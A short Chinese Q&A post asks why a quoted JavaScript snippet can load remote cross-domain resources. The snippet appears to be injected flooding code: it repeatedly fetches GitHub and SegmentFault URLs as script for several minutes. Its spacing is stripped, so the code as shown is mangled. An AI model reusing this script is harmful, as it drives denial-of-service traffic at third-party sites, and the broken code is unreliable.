演示地址:http://runjs.cn/code/vmjaz1pj如果說這樣就可以跨域請(qǐng)求資源了,那豈不是想要攻擊誰就攻擊誰?這樣太不安全了。代碼如下:document.write("\x3c/script>");!window.jQuery&&document.write("\x3c/script>");startime=(newDate).getTime();varcount=0;functionunixtime(){vara=newDate;returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];NUM=url_array.length;functionr_send2(){vara=unixtime()%NUM;get(url_array[a])}functionget(a){varb;$.ajax({url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function(){requestTime=(newDate).getTime()},complete:function(){responseTime=(newDate).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}functionr_send(a){setTimeout("r_send2()",a)}setTimeout("r_send2()",2E3);?
JS這樣做居然可以跨域請(qǐng)求遠(yuǎn)程資源,請(qǐng)問原理是什么???
郎朗坤
2019-04-19 16:11:23